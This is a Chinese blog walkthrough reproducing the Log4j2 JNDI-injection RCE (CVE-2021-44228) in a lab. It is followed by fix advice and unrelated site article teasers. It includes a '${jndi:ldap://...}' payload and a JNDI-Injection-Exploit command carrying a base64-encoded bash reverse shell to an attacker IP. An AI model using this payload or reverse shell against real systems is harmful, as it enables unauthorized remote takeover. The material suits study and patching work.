Log4j2远程命令执行(CVE-2021-44228)

news2024/11/20 1:36:40

漏洞原理

该漏洞是由于,在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

漏洞影响范围

2.0 <= Apache Log4j2<= 2.14.1

漏洞复现过程

在这里插入图片描述
启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。
在这里插入图片描述
在这里插入图片描述
首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。

payload=${jndi:ldap://dnslog地址/}并将其进行url转码。

在这里插入图片描述
如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是将payload全部进行url编码。(这一块之所以需要编码,可能是环境的问题)
在这里插入图片描述
在这里插入图片描述
下面为了获取shell反弹,需要先进行bash指令base64编码。
base64转码地址:https://ares-x.com/tools/runtime-exec
在这里插入图片描述
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.5.129

在这里插入图片描述
此处我选择的是Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)的结果。
在这里插入图片描述
在这里插入图片描述在此处可以发现,首先通过rmi远程监听,接收到远程调用后,将其转发至payload地址,调用exp。
在这里插入图片描述
成功getshell。

在这里插入图片描述

我采用的是较为简单便捷的方法进行复现,全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,另外,还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。可以使用marshalsec-0.0.3-SNAPSHOT-all.jar进行rmi监听,使用ysoserial生成poc。

漏洞修复建议

及时升级log4j组件。
临时建议
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
在应用classpath下添加log4j2.component.properties配置文件,文件内容为 log4j2.formatMsgNoLookups=true
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
部署使用第三方防火墙产品进行安全防护。

参考链接

Log4j2漏洞环境搭建及复现:http://www.plumstar.cn/2022/11/14/Apache%20Log4j2%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Log4j2漏洞原理、复现与利用:https://www.cnblogs.com/hellobao/articles/17249334.html
CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现:https://blog.csdn.net/weixin_44309905/article/details/122316579

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/516739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现微信打开App功能

效果 要求 文档 开发标签文档 android接入指南 android实现 1.接入openSDK dependencies { api ‘com.tencent.mm.opensdk:wechat-sdk-android:6.8.0’ } 2.注册 需要在包名为&#xff08;applicationId&#xff09;wxapi的包下加入以上几个类。 类名功能AppRegister是一…

heic如何转换jpg格式?

heic如何转换jpg格式&#xff1f;HEIC是苹果推出的一种新型图片格式&#xff0c;它可以在保证高质量图像的同时减小图像文件的大小。虽然HEIC格式在iOS设备上使用广泛&#xff0c;但在其他操作系统或平台上&#xff0c;特别是Windows系统中&#xff0c;其兼容性和支持程度较差。…

蓝牙单连接和多连接知识

蓝牙单连接和多连接知识 生活中蓝牙连接多路蓝牙的情况越来越多&#xff0c;下面介绍下单连接和多连接的知识&#xff0c;供大家参考 一&#xff1a;蓝牙单连接 蓝牙单连接也称为Point-to-Point 点对点连接&#xff0c;是最常见的蓝牙连接场景,如手机<–>车载蓝牙。&…

〖Web全栈开发①〗—网络编程基础(上)

网络编程基础 网络编程网络编程概述TCP/IP协议IP地址什么是IPIP组成IP 地址使用过程查看IPIp地址分类&#xff1a;子网掩码 端口 socketSocket原理&#xff11;.什么是Socket2.创建一个tcp socket&#xff08;tcp套接字&#xff09; tcp 介绍 &#x1f3d8;️&#x1f3d8;️个…

安卓卡死,卡屏,死机,黑屏

(662条消息) 黑屏定屏那些事 - 系统机制&#xff0c;分析套路和实战&#xff08;系统篇&#xff09;_android黑屏问题分析_内核工匠的博客-CSDN博客

Java 是如何实现双亲委托加载机制的

Java 是一种面向对象的编程语言&#xff0c;它有一套独特的类加载机制。其中&#xff0c;双亲委托加载机制是 Java 类加载机制中的一个重要概念。本文将介绍 Java 的双亲委托加载机制是如何实现的&#xff0c;并解释其作用和优点。 Java 类加载机制 在 Java 中&#xff0c;类的…

树脂可以吸收水里的硝酸盐吗,饮用水矿泉水除硝酸盐,食品级树脂

使用常规的离子交换树脂处理含硫酸盐水中的硝酸盐是困难的。因为树脂几乎交换了水中的所有的硫酸盐后&#xff0c;才与水中的硝酸盐交换。也就是说&#xff0c;硫酸盐的存在会降低树脂对硝酸盐的去除能力。采用Tulsimer A-62MP除硝酸盐树脂优先交换硝酸盐&#xff0c;对硝酸盐的…

形态学运算与仿真:图像处理中形态学操作的简单解释

形态学是图像处理领域的一个分支&#xff0c;主要用于描述和处理图像中的形状和结构。形态学可以用于提取图像中的特征、消除噪声、改变图像的形状等。其中形态学的核心操作是形态学运算。 形态学运算是一种基于形状的图像处理技术&#xff0c;它是通过结构元素与图像进行特定运…

Redis自学之路—安装与配置(一)

目录 简介 安装与配置Redis 下载 上传至linux 安装Redis 解压redis 安装gcc编译环境 注意 停止redis服务 附&#xff1a;Redis的命令行客户端 简介 本文章主要说一下Redis的安装与配置&#xff0c;学一门技术肯定是要从基础学起&#xff0c;其实所有的技术都很简单&…

关于Python爬虫使用代理的问题

当我们使用爬虫程序进行数据采集时&#xff0c;经常会遇到一些网站对爬虫的限制&#xff0c;例如IP封禁、访问频率限制等。为了解决这些问题&#xff0c;我们可以使用代理服务器来进行爬虫操作。本文将介绍爬虫代理的相关知识。 一、什么是爬虫代理&#xff1f; 爬虫代理是指…

IntelliJ IDEA 统一设置编码为utf-8编码 及 jar包运行指定UTF-8

文章目录 一、背景二、解决方法1.修改项目编码格式统一为UTF-82.将项目中的.idea文件夹中的encodings.xml文件中的编码格式改为uft-83.File->Settings->Build,Execution,Deployment -> Compiler -> Java Compiler5. java -jar xxx 命令里面添加UTF-8 编码 一、背景…

笔记-编程语言实现模式(Language Implementation Patterns)

第1章 语言应用初探 Lanugage Applications Cracked Open 1.1 大局观 The Big Picture 主要思想&#xff1a;文件读取部分对输入内容进行“识别”&#xff0c;并输出数据结构作为中间表示&#xff08;intermediate representation&#xff0c;IR&#xff09;&#xff0c;供其…

制造业为什么要数字化?

制造业数字化&#xff0c;主要包含以下一些因素&#xff0c;有优势也有缺点&#xff1a; 制造业数字化的优势&#xff1a; 提高效率&#xff1a;数字化允许各种制造过程自动化&#xff0c;可以提高效率并降低成本。可以缩短生产时间、减少浪费并提高生产率。 增强质量控制&am…

毛泽东《浪淘沙·北戴河》气势磅礴

毛泽东《浪淘沙北戴河》气势磅礴 https://baijiahao.baidu.com/s?id1662486888860973345&wfrspider&forpc 毛主席因其身份地位以及独特的人生经历&#xff0c;在诗词创作中有他人难以企及的气概。今天我们再在欣赏他的一首《浪淘沙北戴河》&#xff0c;这首词第一句便…

Node.JS环境,Express服务器实现GZIP压缩传输

Node.js是一种基于Chrome V8 JavaScript引擎的开源、跨平台而且异步事件驱动的运行时环境&#xff0c;可以让JavaScript代码在服务器端运行。Express是一个流行的Node.js框架&#xff0c;它提供了简单而强大的工具来创建Web服务器和API。 这篇文章将介绍如何使用Node.js和Expr…

关于说服(一)-反抗机制

首先有一个原则&#xff1a;没有人喜欢被改变 不好的话术反而会引起别人的抵触心理 为避免触发反抗机制&#xff0c;可以稍微改变一下话术&#xff1a;将 “你应该” 改为 “我需要”** 没人喜欢说教者 说教者常用句式 1 你为什么不肯去试一试 ->(隐喻) 你在逼别人复习反…

[CryptoHack] Public-key Cryptography Partial Solutions

文章目录 FactoringMonoprimeManyprimeSalty Factoring So far we’ve been using the product of small primes for the modulus, but small primes aren’t much good for RSA as they can be factorised using modern1 methods2. What is a “small prime”? There was a…

汽车毫米波雷达的规定和标准(四)

01 — 虚警漏警问题 工信部无2021【181】号文件中&#xff0c;是这样定义的“虚警”&#xff1a;虚警是指在规定的条件下&#xff0c;实际目标不存在而雷达探测判为有目标的事件。虚警与虚假信号相关&#xff0c;下图中产生的虚警现象是由于干扰信号的功率超过检测门限导致。…

ResearchRabbit.ai: 学术论文摘要研究工具

【产品介绍】 ResearchRabbit是一个帮助研究人员发现、跟踪和分享学术论文的平台。可以根据你的兴趣和收藏提供个性化的推荐和摘要&#xff0c;并且可以让你可视化论文和作者之间的网络关系。 Researchrabbit.ai是一个基于人工智能的文献搜索和管理工具&#xff0c;它可以帮助你…

Speechify: 在线文本转语音(TTS)网站

【产品介绍】 Speechify是一个基于人工智能技术的在线文本转语音&#xff08;TTS&#xff09;网站&#xff0c;可以让用户把任何文本转换成自然流畅的语音&#xff0c;从而提高阅读效率和理解能力。 Speechify有多种平台的应用&#xff0c;包括Chrome扩展、iOS应用、Android应用…